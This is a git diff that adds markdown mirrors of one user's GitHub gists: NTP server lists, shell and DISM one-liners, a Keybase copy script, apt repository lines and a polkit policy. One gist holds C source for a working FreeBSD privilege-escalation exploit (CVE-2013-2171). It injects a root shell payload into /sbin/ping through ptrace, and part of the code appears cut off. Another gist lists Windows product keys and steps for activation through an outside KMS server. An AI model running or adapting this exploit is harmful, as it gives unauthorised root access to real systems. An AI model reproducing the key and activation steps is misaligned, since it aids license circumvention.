+ +## Stratum1: + +### Stratum 1: + +stratum1.net + +## time.in.ua: + +### Stratum 1: + +ntp.time.in.ua + +ntp2.time.in.ua + +### Stratum 2: + +ntp3.time.in.ua + +## Company Delfa Co. Ltd. [AS8915]: + +ntp.ru + +## ACO.net [AS1853]: + +ts1.aco.net + +ts2.aco.net + +## Berkeley [AS25]: + +### Stratum 1: + +ntp1.net.berkeley.edu + +ntp2.net.berkeley.edu + +## Georgia State University [AS10631]: + +ntp.gsu.edu + +## University of Saskatchewan [AS22950]: + +tick.usask.ca + +tock.usask.ca + +## NSU [AS3335]: + +### Stratum 2: + +ntp.nsu.ru + +## ITAEC [AS41783]: + +ntp.psn.ru + +## RSU [AS47124]: + +### Stratum 1: + +ntp.rsu.edu.ru + +## National Institute of Information and Communications Technology [AS9355]: + +ntp.nict.jp + +## NTT [AS2914]: + +x.ns.gin.ntt.net + +y.ns.gin.ntt.net + +## HE.net [AS6939]: + +clock.nyc.he.net + +clock.sjc.he.net + +## TRC Fiord [AS28917]: + +ntp.fiord.ru + +## Netnod NTP service [AS57021]: + +### Stratum 1: + +Göteborg: + +gbg1.ntp.se + +gbg2.ntp.se + +Malmö: + +mmo1.ntp.se + +mmo2.ntp.se + +Stockholm: + +sth1.ntp.se + +sth2.ntp.se + +Sundsvall: + +svl1.ntp.se + +svl2.ntp.se + +Anycast address for nearest NTP server of the above: + +ntp.se + +## QiX NTP [AS14086]: + +ntp.qix.ca + +ntp1.qix.ca + +ntp2.qix.ca + +## YYCIX NTP [AS396515]: + +ntp.yycix.ca + +## MSK-IX NTP [AS43832]: + +### Stratum 1: + +ntp.ix.ru + +## Hetzner Online [AS24940]: + +ntp1.hetzner.de + +ntp2.hetzner.de + +ntp3.hetzner.de + +## Trabia-Network [AS43289]: + +time-a.as43289.net + +time-b.as43289.net + +time-c.as43289.net + +## RIPE [AS3333]: + +ntp.ripe.net + +## Internet Systems Consortium [AS1280]: + +clock.isc.org (prev ntp.isc.org) + +## TimeNL/SIDN Labs [AS1140]: + +ntp.time.nl (ntp1.time.nl) + +## Kantonsschule Zug [AS34288]: + +ntp0.as34288.net + +ntp1.as34288.net + +## INTERNET MULTIFEED CO. [AS7521]: + +ntp1.jst.mfeed.ad.jp + +ntp2.jst.mfeed.ad.jp + +ntp3.jst.mfeed.ad.jp + +## Chinese Academy of Sciences Nation Time Service Center [AS4808, AS9808, AS23724]: + +ntp.ntsc.ac.cn + +## Nat Morris [AS30746]: + +### Stratum 1: + +ntp.nat.ms + +## NTP Pool: + +pool.ntp.org + +0.pool.ntp.org + +1.pool.ntp.org + +2.pool.ntp.org + +3.pool.ntp.org + +europe.pool.ntp.org + +0.europe.pool.ntp.org + +1.europe.pool.ntp.org + +2.europe.pool.ntp.org + +3.europe.pool.ntp.org + +asia.pool.ntp.org + +0.asia.pool.ntp.org + +1.asia.pool.ntp.org + +2.asia.pool.ntp.org + +3.asia.pool.ntp.org + +ru.pool.ntp.org + +0.ru.pool.ntp.org + +1.ru.pool.ntp.org + +2.ru.pool.ntp.org + +3.ru.pool.ntp.org + +0.gentoo.pool.ntp.org + +1.gentoo.pool.ntp.org + +2.gentoo.pool.ntp.org + +3.gentoo.pool.ntp.org + +0.arch.pool.ntp.org + +1.arch.pool.ntp.org + +2.arch.pool.ntp.org + +3.arch.pool.ntp.org + +0.fedora.pool.ntp.org + +1.fedora.pool.ntp.org + +2.fedora.pool.ntp.org + +3.fedora.pool.ntp.org + +0.opensuse.pool.ntp.org + +1.opensuse.pool.ntp.org + +2.opensuse.pool.ntp.org + +3.opensuse.pool.ntp.org + +0.centos.pool.ntp.org + +1.centos.pool.ntp.org + +2.centos.pool.ntp.org + +3.centos.pool.ntp.org + +0.debian.pool.ntp.org + +1.debian.pool.ntp.org + +2.debian.pool.ntp.org + +3.debian.pool.ntp.org + +0.askozia.pool.ntp.org + +1.askozia.pool.ntp.org + +2.askozia.pool.ntp.org + +3.askozia.pool.ntp.org + +0.freebsd.pool.ntp.org + +1.freebsd.pool.ntp.org + +2.freebsd.pool.ntp.org + +3.freebsd.pool.ntp.org + +0.netbsd.pool.ntp.org + +1.netbsd.pool.ntp.org + +2.netbsd.pool.ntp.org + +3.netbsd.pool.ntp.org + +0.openbsd.pool.ntp.org + +1.openbsd.pool.ntp.org + +2.openbsd.pool.ntp.org + +3.openbsd.pool.ntp.org + +0.dragonfly.pool.ntp.org + +1.dragonfly.pool.ntp.org + +2.dragonfly.pool.ntp.org + +3.dragonfly.pool.ntp.org + +0.pfsense.pool.ntp.org + +1.pfsense.pool.ntp.org + +2.pfsense.pool.ntp.org + +3.pfsense.pool.ntp.org + +0.opnsense.pool.ntp.org + +1.opnsense.pool.ntp.org + +2.opnsense.pool.ntp.org + +3.opnsense.pool.ntp.org + +0.smartos.pool.ntp.org + +1.smartos.pool.ntp.org + +2.smartos.pool.ntp.org + +3.smartos.pool.ntp.org + +0.android.pool.ntp.org + +1.android.pool.ntp.org + +2.android.pool.ntp.org + +3.android.pool.ntp.org + +0.amazon.pool.ntp.org + +1.amazon.pool.ntp.org + +2.amazon.pool.ntp.org + +3.amazon.pool.ntp.org + + + + + + +# Other: + + +## .mil: + +tick.usno.navy.mil + +tock.usno.navy.mil + +ntp2.usno.navy.mil + + +## .edu: + +utcnist2.colorado.edu + +timekeeper.isi.edu + +rackety.udel.edu + +mizbeaver.udel.edu + +otc1.psu.edu + +gnomon.cc.columbia.edu + +navobs1.gatech.edu + +navobs1.wustl.edu + +now.okstate.edu + +ntp.colby.edu + +ntp-s1.cise.ufl.edu + + +## .com: + +ntpstm.netbone-digital.com + +nist1.symmetricom.com + + +## .net: + +t2.timegps.net + +gps.layer42.net + +ntp-ca.stygium.net + +sesku.planeacion.net + +ntp0.nl.uu.net + +ntp1.nl.uu.net + +navobs1.oar.net + +ntp-galway.hea.net + + +## .org: + +ntp1.ona.org + + +## .de: + +time.fu-berlin.de + +ntps1-0.cs.tu-berlin.de + +ntps1-1.cs.tu-berlin.de + +ntps1-0.uni-erlangen.de + +ntps1-1.uni-erlangen.de + +ntp1.fau.de + +ntp2.fau.de + +ntp.dianacht.de + +zeit.fu-berlin.de + +ptbtime1.ptb.de + +ptbtime2.ptb.de + +rustime01.rus.uni-stuttgart.de + +rustime02.rus.uni-stuttgart.de + + +## .nl: + +chime1.surfnet.nl + +ntp.vsl.nl + + +## .at: + +asynchronos.iiss.at + + +## .cz: + +ntp.nic.cz + +time.ufe.cz + + +## .pl: + +ntp.fizyka.umk.pl + +tempus1.gum.gov.pl + +tempus2.gum.gov.pl + + +## .ro: + +ntp1.usv.ro + +ntp3.usv.ro + + +## .se: + +timehost.lysator.liu.se + +time1.stupi.se + + +## .ca: + +time.nrc.ca + +clock.uregina.ca + + +## .mx: + +cronos.cenam.mx + +ntp.lcf.mx + + +## .es: + +hora.roa.es + +minuto.roa.es + + +## .it: + +ntp1.inrim.it + +ntp2.inrim.it + + +## .be: + +ntp1.oma.be + +ntp2.oma.be + + +## .hu: + +ntp.atomki.mta.hu + + +## .eus: + +ntp.i2t.ehu.eus + + +## .ch: + +ntp.neel.ch + + +## .cn: + +ntp.neu.edu.cn + + +## .jp: + +ntp.nict.jp + + +## .br: + +ntps1.pads.ufrj.br + + +## .cl: + +ntp.shoa.cl + + +## .int: + +time.esa.int + +time1.esa.int + + + +http://support.ntp.org/bin/view/Servers/StratumOneTimeServers + +http://support.ntp.org/bin/view/Servers/StratumTwoTimeServers + +http://support.ntp.org/bin/view/Servers/NTPPoolServers + +http://www.pool.ntp.org/zone/@ + +http://www.pool.ntp.org/zone/asia + +http://www.pool.ntp.org/zone/europe + +http://www.pool.ntp.org/zone/north-america + +http://www.pool.ntp.org/zone/oceania + +http://www.pool.ntp.org/zone/south-america + +https://time.nl/ + +https://time.nl/index_en.html + +http://time.in.ua/ + + + +``` + + diff --git a/content/gists/0b0c0d8df603820dee6f1d7713e0cb7f.md b/content/gists/0b0c0d8df603820dee6f1d7713e0cb7f.md new file mode 100644 index 000000000..3174e74d3 --- /dev/null +++ b/content/gists/0b0c0d8df603820dee6f1d7713e0cb7f.md @@ -0,0 +1,17 @@ +--- +title: "0b0c0d8df603820dee6f1d7713e0cb7f" +type: gist +gist_id: "0b0c0d8df603820dee6f1d7713e0cb7f" +gist_name: "gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/0b0c0d8df603820dee6f1d7713e0cb7f +updated_at: "2024-03-04T23:00:02Z" +files: ["gistfile1.txt"] +--- +## gistfile1.txt + +```Text +cd /mnt/root/usr;tar -cpf - .|tar -C /mnt/Data/sys/usr -xpvf - + +``` + + diff --git a/content/gists/0ea3ae96212f9b9a1b9e93560a146ee6.md b/content/gists/0ea3ae96212f9b9a1b9e93560a146ee6.md new file mode 100644 index 000000000..86270da36 --- /dev/null +++ b/content/gists/0ea3ae96212f9b9a1b9e93560a146ee6.md @@ -0,0 +1,26 @@ +--- +title: "0ea3ae96212f9b9a1b9e93560a146ee6" +type: gist +gist_id: "0ea3ae96212f9b9a1b9e93560a146ee6" +gist_name: "win" +gist_url: https://gist.github.com/dominicusin/0ea3ae96212f9b9a1b9e93560a146ee6 +updated_at: "2018-10-12T09:01:37Z" +files: ["win"] +--- +## win + +``` +for %h in (*.msi) do start /wait msiexec.exe /i %h /qr+ /passive /norestart ACCEPT=YES + +DISM /online /export-driver /destination:D:\Setup\Drivers +>DISM /Get-WimInfo /WimFile:D:\Setup\Serv\sources\install.wim +dism /Mount-Image /ImageFile:D:\Setup\Serv\sources\install.wim /MountDir:D:\Setup\Image /Index:4 +>dism /Image:D:\Setup\Image /Set-Edition:ServerDatacenter /ProductKey:CB7KF-BWN84-R7R2Y-793K2-8XDDG /AcceptEula /NoRestart +dism /online /set-edition:ServerStandard /productkey:WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY /accepteula +dism /Image:D:\Setup\Image /Add-Driver /Driver:D:\Setup\Drivers /recurse /ForceUnsigned +>dism /Image:.\ISO /Enable-Feature /FeatureName:MultipathIo +DISM /Unmount-Image /MountDir:D:\Setup\Image /Commit + +``` + + diff --git a/content/gists/0f60728b8189f97801d19cfca33ff968.md b/content/gists/0f60728b8189f97801d19cfca33ff968.md new file mode 100644 index 000000000..897a9b16a --- /dev/null +++ b/content/gists/0f60728b8189f97801d19cfca33ff968.md @@ -0,0 +1,140 @@ +--- +title: "Keybase CP script." +type: gist +gist_id: "0f60728b8189f97801d19cfca33ff968" +gist_name: "Keybase CP script. keybase_cp.sh" +gist_url: https://gist.github.com/dominicusin/0f60728b8189f97801d19cfca33ff968 +updated_at: "2022-08-24T07:38:47Z" +files: ["keybase_cp.sh"] +--- +_Keybase CP script. _ + +## keybase_cp.sh + +```Shell +#!/usr/bin/env bash +# Script created by Rogier Dikkes. +# This script is licensed under the GNU GPL version 3.0. +# This script is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# This script is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# . + +# Keybase often errors out when using keybase fs on ARM64. This script will exit. +# Make sure the teams folder structure is filled with files. + +# This setup only copies top level directory structures over. +# If you have a file in your top level, you need to either place it in a folder or do this by hand. + +set -e + +KEYBASE_BINARY="$(which keybase)" +export KEYBASE_BINARY + +TEAM_NAME="$1" +export TEAM_NAME + +KEYBASE_FS_PATH="/keybase/team" +export KEYBASE_FS_PATH + +script_directory() { + # Get the directory where this script is located. + SCRIPT_DIR="$(dirname "$(greadlink -f "${BASH_SOURCE[0]}")")" + echo "Copying files to: ${SCRIPT_DIR}" +} + +keybase_folders() { + # Get the keybase folders inside the teams. + while IFS= read -r line ; do + # create teams directory locally + create_directory "$line" + # Get only directories inside the teams. + KEYBASE_FOLDERS=$(${KEYBASE_BINARY} fs ls -w "$KEYBASE_FS_PATH"/"$line"|grep ''|awk '{print $NF}') + # We only loop over the folders inside the teams. + if [ -n "$KEYBASE_FOLDERS" ]; then + while IFS= read -r keybase_folders ; do + # Copy the files per team to the local directory. + keybase_copy "$line" "$keybase_folders" + + done <<< "${KEYBASE_FOLDERS[@]}" + fi + done <<< "${KEYBASE_TEAMS[@]}" + +} + +keybase_copy() { + # Constructing the keybase path to copy files from. + CON_KEYBASE_PATH="$KEYBASE_FS_PATH/$1/$2" + # Constucting the local path to copy files to. + CON_FILESYS_PATH="${SCRIPT_DIR}/$1/$2" + + # Create the local directory if it doesn't exist, keybase does not allow overwriting. + if [ ! -d "$CON_FILESYS_PATH" ]; then + # Copy the files from keybase to the local filesystem. + echo "Copying keybase folder recursively from: ${CON_KEYBASE_PATH} towards: ${CON_FILESYS_PATH}" + ${KEYBASE_BINARY} fs cp -r -f "$CON_KEYBASE_PATH" "$CON_FILESYS_PATH" + # for some reason keybase copies all files with root permissions, chown them to the user. + sudo chown -R "${USER}":staff "${CON_FILESYS_PATH}" + fi +} + +create_directory() { + # Create the directory. + if [ ! -d "${SCRIPT_DIR}/${1}" ]; then + echo "Creating directory: ${SCRIPT_DIR}/${1}" + mkdir "${SCRIPT_DIR}/${1}" + fi +} + +get_keybase_teams() { + # Get the keybase teams. + KEYBASE_TEAMS="$(keybase team list-memberships | grep -v Team | grep -v '^$' | awk '{print $1}')" + echo -e "Keybase teams: \n${KEYBASE_TEAMS}" +} + +check_greadlink() { + # Check if greadlink is installed. + if ! command -v greadlink >/dev/null 2>&1; then + echo "greadlink is not installed, please install it." + echo "brew install coreutils" + exit 1 + fi +} + +check_os() { + # This script only works on Apple M1. + if [[ "$OSTYPE" != "darwin"* ]]; then + echo "Operating system not supported." + exit 1 + fi + if uname -a | grep -v -q 'ARM64' ; then + echo "This script is only tested on ARM64." + exit 1 + fi +} + +main() { + check_os + check_greadlink + script_directory + get_keybase_teams + keybase_folders +} + +main + +# Known issues: +# - When using keybase fs ls -w, it sometimes errors out. (No such handle, name exists code 5101, Async result not found) +# - When using keybase fs cp -r -f, it sometimes errors out. +# +# - when a directory already exists, keybase will not overwrite it. It will gladly add extra contents underneath that directory. +# example: /keybase/team/team_name/folder_1/file_name +# example: /keybase/team/team_name/folder_1/folder_1/file_name +``` + + diff --git a/content/gists/12417f6f3126a5a1fc8a4b1d0ca8ee49.md b/content/gists/12417f6f3126a5a1fc8a4b1d0ca8ee49.md new file mode 100644 index 000000000..2ff7fe2f5 --- /dev/null +++ b/content/gists/12417f6f3126a5a1fc8a4b1d0ca8ee49.md @@ -0,0 +1,147 @@ +--- +title: "FreeBSD privilege escalation CVE-2013-2171 exploit" +type: gist +gist_id: "12417f6f3126a5a1fc8a4b1d0ca8ee49" +gist_name: "FreeBSD privilege escalation CVE-2013-2171 exploit FreeBSD-SA-13-06-mmap.c" +gist_url: https://gist.github.com/dominicusin/12417f6f3126a5a1fc8a4b1d0ca8ee49 +updated_at: "2017-11-08T10:21:28Z" +files: ["FreeBSD-SA-13-06-mmap.c"] +--- +_FreeBSD privilege escalation CVE-2013-2171 exploit_ + +## FreeBSD-SA-13-06-mmap.c + +```C +/** + * FreeBSD privilege escalation CVE-2013-2171 (credits Konstantin Belousov & Alan Cox) + * + * tested on FreeBSD 9.1 + * ref: http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc + * + * @_hugsy_ + * + * Syntax : + $ id + uid=1001(user) gid=1001(user) groups=1001(user) + $ gcc -Wall ./mmap.c && ./a.out + [+] Saved old '/sbin/ping' + [+] Using mmap-ed area at 0x281a4000 + [+] Attached to 3404 + [+] Copied 4917 bytes of payload to '/sbin/ping' + [+] Triggering payload + # id + uid=0(root) gid=0(wheel) egid=1001(user) groups=1001(user),0(wheel) + * + * Note : TARGET (default /sbin/ping) will lose its SUID bit on restore, must be restored by hand + * + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define LEN 1000*getpagesize() +#define TARGET "/sbin/ping" // will lose its SUID bit on restore, must be restored by hand + +void kaboom(int pid, caddr_t addr) +{ + int nb, i, a, fd, n; + char buf[60000] = {0,}; + + a = i = 0; + fd = open(TARGET, O_RDONLY); + nb = read(fd, buf, 60000); + close(fd); + printf("[+] Saved old '%s'\n", TARGET); + printf("[+] Using mmap-ed area at %p\n", addr); + + if (ptrace(PT_ATTACH, pid, 0, 0) < 0) { + perror("[-] ptrace(PT_ATTACH) failed"); + return; + } + printf("[+] Attached to %d\n", pid); + wait(NULL); + + fd = open("./sc.c", O_WRONLY|O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH); + write(fd, "#include \nmain(){ char* s[]={\"/bin/sh\",NULL};setuid(0);execve(s[0],s,0); }\n",84); + close(fd); + if (system("gcc -o ./sc ./sc.c") != 0) { + perror("[-] gcc"); + return; + } + + fd = open("./sc", O_RDONLY); + while (1) { + int a; + int n = read(fd, &a, sizeof(int)); + if (n <= 0) + break; + + if (ptrace(PT_WRITE_D, pid, addr+i, a) < 0) { + perror("[-] ptrace(PT_WRITE_D) failed"); + return; + } + + i+=n; + } + close(fd); + printf("[+] Copied %d bytes of payload to '%s'\n", i, TARGET); + + printf("[+] Triggering payload\n"); + system(TARGET); + printf("[+] Restoring '%s'\n", TARGET); + + for (n=0, i=0; n/dev/null|grep -v \*` + +``` + + diff --git a/content/gists/19b4162c96e1a934b33db13989130e54.md b/content/gists/19b4162c96e1a934b33db13989130e54.md new file mode 100644 index 000000000..086a9da05 --- /dev/null +++ b/content/gists/19b4162c96e1a934b33db13989130e54.md @@ -0,0 +1,21 @@ +--- +title: "devuan" +type: gist +gist_id: "19b4162c96e1a934b33db13989130e54" +gist_name: "devuan devuan" +gist_url: https://gist.github.com/dominicusin/19b4162c96e1a934b33db13989130e54 +updated_at: "2023-09-04T22:58:58Z" +files: ["devuan"] +--- +_devuan_ + +## devuan + +``` +http://deb.devuan.org/devuan/pool/main/d/devuan-keyring/ +apt install ./devuan-keyring +debootstrap --verbose --arch=arm64 --variant=minbase --force-check-gpg --components=main,contrib,non-free,non-free-firmware --extra-suites=6.0,ceres,daedalus,daedalus-backports,daedalus-proposed-updates,daedalus-security,daedalus-updates,excalibur,stable,stable-backports,stable-proposed-updates,stable-security,stable-updates,testing,unstable --include=vim,openssh-server,ntpdate,sudo,ifupdown,net-tools,udev,iputils-ping,wget,dosfstools,unzip,binutils,libatomic,mc,htop,most,mosh,screen,tmux,locales,dialog,aptitude,apt,apt-file,tasksel,debootstrap daedalus /mnt/Data/sys/sublin/devuan http://deb.devuan.org/merged/ + +``` + + diff --git a/content/gists/1c480d8ff2a34b42d279b14ad6f85e38.md b/content/gists/1c480d8ff2a34b42d279b14ad6f85e38.md new file mode 100644 index 000000000..f3b2182c7 --- /dev/null +++ b/content/gists/1c480d8ff2a34b42d279b14ad6f85e38.md @@ -0,0 +1,68 @@ +--- +title: "1c480d8ff2a34b42d279b14ad6f85e38" +type: gist +gist_id: "1c480d8ff2a34b42d279b14ad6f85e38" +gist_name: "reps" +gist_url: https://gist.github.com/dominicusin/1c480d8ff2a34b42d279b14ad6f85e38 +updated_at: "2020-11-28T02:30:58Z" +files: ["reps"] +--- +## reps + +``` +apt-add-repository -yn 'deb [arch=amd64] http://http.kali.org/kali kali-rolling main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] http://ppa.launchpad.net/jcfp/ppa/ubuntu groovy main' +apt-add-repository -yn 'deb [arch=amd64] http://ppa.launchpad.net/kubuntu-ppa/beta/ubuntu groovy main' +apt-add-repository -yn 'deb [arch=amd64] http://ppa.launchpad.net/libreoffice/ppa/ubuntu groovy main' +apt-add-repository -yn 'deb [arch=amd64] http://ppa.launchpad.net/teejee2008/ppa/ubuntu groovy main' +apt-add-repository -yn 'deb [arch=amd64] http://ppa.launchpad.net/ubuntu-mozilla-daily/ppa/ubuntu groovy main' +apt-add-repository -yn 'deb [arch=amd64] http://security.ubuntu.com/ubuntu/ groovy-security main universe restricted multiverse' +apt-add-repository -yn 'deb [arch=amd64] http://apt.insync.io/ubuntu focal contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] http://archive.canonical.com/ubuntu focal partner # Canonical Partner Repository' +apt-add-repository -yn 'deb [arch=amd64] http://archive.canonical.com/ubuntu groovy partner' +apt-add-repository -yn 'deb [arch=amd64] http://archive.ubuntu.com/ubuntu groovy-backports main multiverse restricted universe' +apt-add-repository -yn 'deb [arch=amd64] http://archive.ubuntu.com/ubuntu groovy main multiverse restricted universe' +apt-add-repository -yn 'deb [arch=amd64] http://archive.ubuntu.com/ubuntu groovy-proposed main multiverse restricted universe' +apt-add-repository -yn 'deb [arch=amd64] http://archive.ubuntu.com/ubuntu groovy-security main universe restricted multiverse' +apt-add-repository -yn 'deb [arch=amd64] http://archive.ubuntu.com/ubuntu groovy-updates main multiverse restricted universe' +apt-add-repository -yn 'deb [arch=amd64] http://cdn-fastly.deb.debian.org/debian/ bullseye main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] http://cdn-fastly.deb.debian.org/debian/ bullseye-updates main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] http://cdn-fastly.deb.debian.org/debian/ sid main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] http://deb.debian.org/debian sid main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main #Google-Chrome' +apt-add-repository -yn 'deb [arch=amd64] http://dl.google.com/linux/earth/deb/ stable main #Google-Earth' +apt-add-repository -yn 'deb [arch=amd64] http://dl.google.com/linux/webdesigner/deb/ stable main' +apt-add-repository -yn 'deb [arch=amd64] http://mirrors.nxthost.com/ubuntu/ groovy-backports restricted main multiverse universe' +apt-add-repository -yn 'deb [arch=amd64] http://mirrors.nxthost.com/ubuntu/ groovy main universe restricted multiverse' +apt-add-repository -yn 'deb [arch=amd64] http://mirrors.nxthost.com/ubuntu/ groovy-proposed main multiverse restricted universe' +apt-add-repository -yn 'deb [arch=amd64] http://mirrors.nxthost.com/ubuntu/ groovy-updates main universe restricted multiverse' +apt-add-repository -yn 'deb [arch=amd64] http://neurodebian.g-node.org data main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] http://neurodebian.g-node.org sid main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] http://packages.cloud.google.com/apt cloud-sdk main #Google-Cloud-SDK' +apt-add-repository -yn 'deb [arch=amd64] http://packages.cloud.google.com/apt gcsfuse-focal main #GCSFUSE' +apt-add-repository -yn 'deb [arch=amd64] http://packages.siduction.org/extra unstable main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] http://packages.siduction.org/fixes unstable main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] http://repository.spotify.com stable non-free #Spotify' +apt-add-repository -yn 'deb [arch=amd64] http://repo.steampowered.com/steam/ precise steam' +apt-add-repository -yn 'deb [arch=amd64] http://repo.vivaldi.com/stable/deb/ stable main' +apt-add-repository -yn 'deb [arch=amd64] https://deb.opera.com/opera-developer/ stable non-free #Opera Browser (final releases)' +apt-add-repository -yn 'deb [arch=amd64] https://deb.opera.com/opera-stable/ stable non-free #Opera Browser (final releases)' +apt-add-repository -yn 'deb [arch=amd64] https://desktop-download.mendeley.com/download/apt stable main #Mendeley-Desktop' +apt-add-repository -yn 'deb [arch=amd64] https://dl.winehq.org/wine-builds/ubuntu/ focal main #WineHQ' +apt-add-repository -yn 'deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable #Docker-Community-Edition' +apt-add-repository -yn 'deb [arch=amd64] https://download.sublimetext.com/ apt/dev/' +apt-add-repository -yn 'deb [arch=amd64] https://mirrors.dotsrc.org/parrot/ rolling main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] https://mirrors.dotsrc.org/parrot/ rolling-security main contrib non-free' +apt-add-repository -yn 'deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main #Visual-Studio-Code' +apt-add-repository -yn 'deb [arch=amd64] https://repo.skype.com/deb stable main' +apt-add-repository -yn 'deb [arch=amd64] https://updates.signal.org/desktop/apt xenial main #Signal-for-Desktop' +apt-add-repository -yn 'deb [arch=amd64] http://www.deb-multimedia.org sid main non-free' +apt-add-repository -yn 'deb [arch=amd64] mirror://mirrors.ubuntu.com/mirrors.txt groovy-backports main universe restricted multiverse' +apt-add-repository -yn 'deb [arch=amd64] mirror://mirrors.ubuntu.com/mirrors.txt groovy-proposed main multiverse restricted universe' +apt-add-repository -yn 'deb [arch=amd64] mirror://mirrors.ubuntu.com/mirrors.txt groovy-security main universe restricted multiverse' +apt-add-repository -yn 'deb [arch=amd64] mirror://mirrors.ubuntu.com/mirrors.txt groovy main multiverse restricted universe' +apt-add-repository -yn 'deb [arch=amd64] mirror://mirrors.ubuntu.com/mirrors.txt groovy-updates main universe restricted multiverse' +sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com `sudo apt-get update 2>&1 | grep -o '[0-9A-Z]\{16\}$' | xargs` +``` + + diff --git a/content/gists/212af111f65ca7e6529dc58b36eac38a.md b/content/gists/212af111f65ca7e6529dc58b36eac38a.md new file mode 100644 index 000000000..8eb70e6e3 --- /dev/null +++ b/content/gists/212af111f65ca7e6529dc58b36eac38a.md @@ -0,0 +1,18 @@ +--- +title: "212af111f65ca7e6529dc58b36eac38a" +type: gist +gist_id: "212af111f65ca7e6529dc58b36eac38a" +gist_name: "gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/212af111f65ca7e6529dc58b36eac38a +updated_at: "2020-04-01T19:08:52Z" +files: ["gistfile1.txt"] +--- +## gistfile1.txt + +```Text +start /B config.xlaunch +start "" /B "C:\bin\pulseaudio-1.1\bin\pulseaudio.exe" +ubuntu.exe run "if [ -z \"$(pidof xfce4-session)\" ]; then export DISPLAY=127.0.0.1:0.0; export PULSE_SERVER=tcp:127.0.0.1; xfce4-session; pkill '(gpg|ssh)-agent'; taskkill.exe /IM pulseaudio.exe /F; taskkill.exe /IM vcxsrv.exe; fi;" +``` + + diff --git a/content/gists/218ad69e78f67f8d1b739697c95157df.md b/content/gists/218ad69e78f67f8d1b739697c95157df.md new file mode 100644 index 000000000..c9ebe290b --- /dev/null +++ b/content/gists/218ad69e78f67f8d1b739697c95157df.md @@ -0,0 +1,60 @@ +--- +title: "How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK" +type: gist +gist_id: "218ad69e78f67f8d1b739697c95157df" +gist_name: "How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK" +gist_url: https://gist.github.com/dominicusin/218ad69e78f67f8d1b739697c95157df +updated_at: "2020-12-20T10:12:56Z" +files: ["How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK", "Upgrade from any Previous Windows 10 Edition [Win 10 Version 1703 or above & Chinese Simplified Language Only!]"] +--- +_How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK_ + +## How To Create Windows 10 China Government Edition EnterpriseG Volume:GVLK + +``` +A. Create Installation DVD ISO Via Dism: +1. Extract Win 10 Enterprise version of the mirror sources folder install.wim to D drive temp directory +2. In the temp directory to create WimMount folder, and execute the following command to mount the wim file + +Dism /Mount-Wim /WimFile:D:\temp\install.wim /Index:1 /MountDir:D:\temp\WimMount + +3. Show the current version +Dism /Image:D:\temp\WimMount /Get-CurrentEdition +4. Show current version +Dism /Image:D:\temp\WimMount /Get-TargetEditions +5. Offline upgrade version +Dism /Image:D:\temp\WimMount /Set-Edition:EnterpriseG +6. Change COA number 【must】 +Dism /Image:D:\temp\WimMount /Set-ProductKey:YYVX9-NTFWV-6MDM3-9PT4T-4M68B +OR +Set Volume:GVLK product key for Enterprise G N edition +Dism /Image:D:\temp\WimMount /Set-ProductKey:44RPN-FTY23-9VTTB-MP9BX-T84FV +7. Save the image and uninstall it + +Dism /Unmount-Image /MountDir:D:\temp\WimMount /Commit + +Credit:lan10897110 (bbs.pcbeta) +``` + +## Upgrade from any Previous Windows 10 Edition [Win 10 Version 1703 or above & Chinese Simplified Language Only!] + +``` +Enter Windows 10 EnterpriseG Upgrade GVLK Key: +YYVX9-NTFWV-6MDM3-9PT4T-4M68B + +Activation Method Via KMS: +Right click on the Start menu --- Windows Powershell (Administrator) --- enter the following command: +Slmgr -skms digiboy.ir +Slmgr -ato +Slmgr -dlv + + KMS-activated period is, 150,000 days aka 410 years. (*lol*) + + + Change language via: + https://www.windowscentral.com/how-properly-change-system-default-language-windows-10 + https://technet.microsoft.com/en-us/library/dd799306(v=ws.10).aspx + +``` + + diff --git a/content/gists/251edc4716fbd7e6db34fd1fd18ca622.md b/content/gists/251edc4716fbd7e6db34fd1fd18ca622.md new file mode 100644 index 000000000..60a2f2bde --- /dev/null +++ b/content/gists/251edc4716fbd7e6db34fd1fd18ca622.md @@ -0,0 +1,35 @@ +--- +title: "/usr/share/polkit-1/actions/org.opensuse.pkexec.yast2.policy" +type: gist +gist_id: "251edc4716fbd7e6db34fd1fd18ca622" +gist_name: " /usr/share/polkit-1/actions/org.opensuse.pkexec.yast2.policy org.opensuse.pkexec.yast2.policy" +gist_url: https://gist.github.com/dominicusin/251edc4716fbd7e6db34fd1fd18ca622 +updated_at: "2019-11-03T03:30:50Z" +files: ["org.opensuse.pkexec.yast2.policy"] +--- +_ /usr/share/polkit-1/actions/org.opensuse.pkexec.yast2.policy _ + +## org.opensuse.pkexec.yast2.policy + +```XML + + + + + Authentication is required to run YaST2 + yast2 + + auth_admin + auth_admin + yes + + /usr/sbin/yast2 + true + + + +``` + + diff --git a/content/gists/2fbfdcb6ff72ab2debe1a4dbebe0b509.md b/content/gists/2fbfdcb6ff72ab2debe1a4dbebe0b509.md new file mode 100644 index 000000000..eca0beff4 --- /dev/null 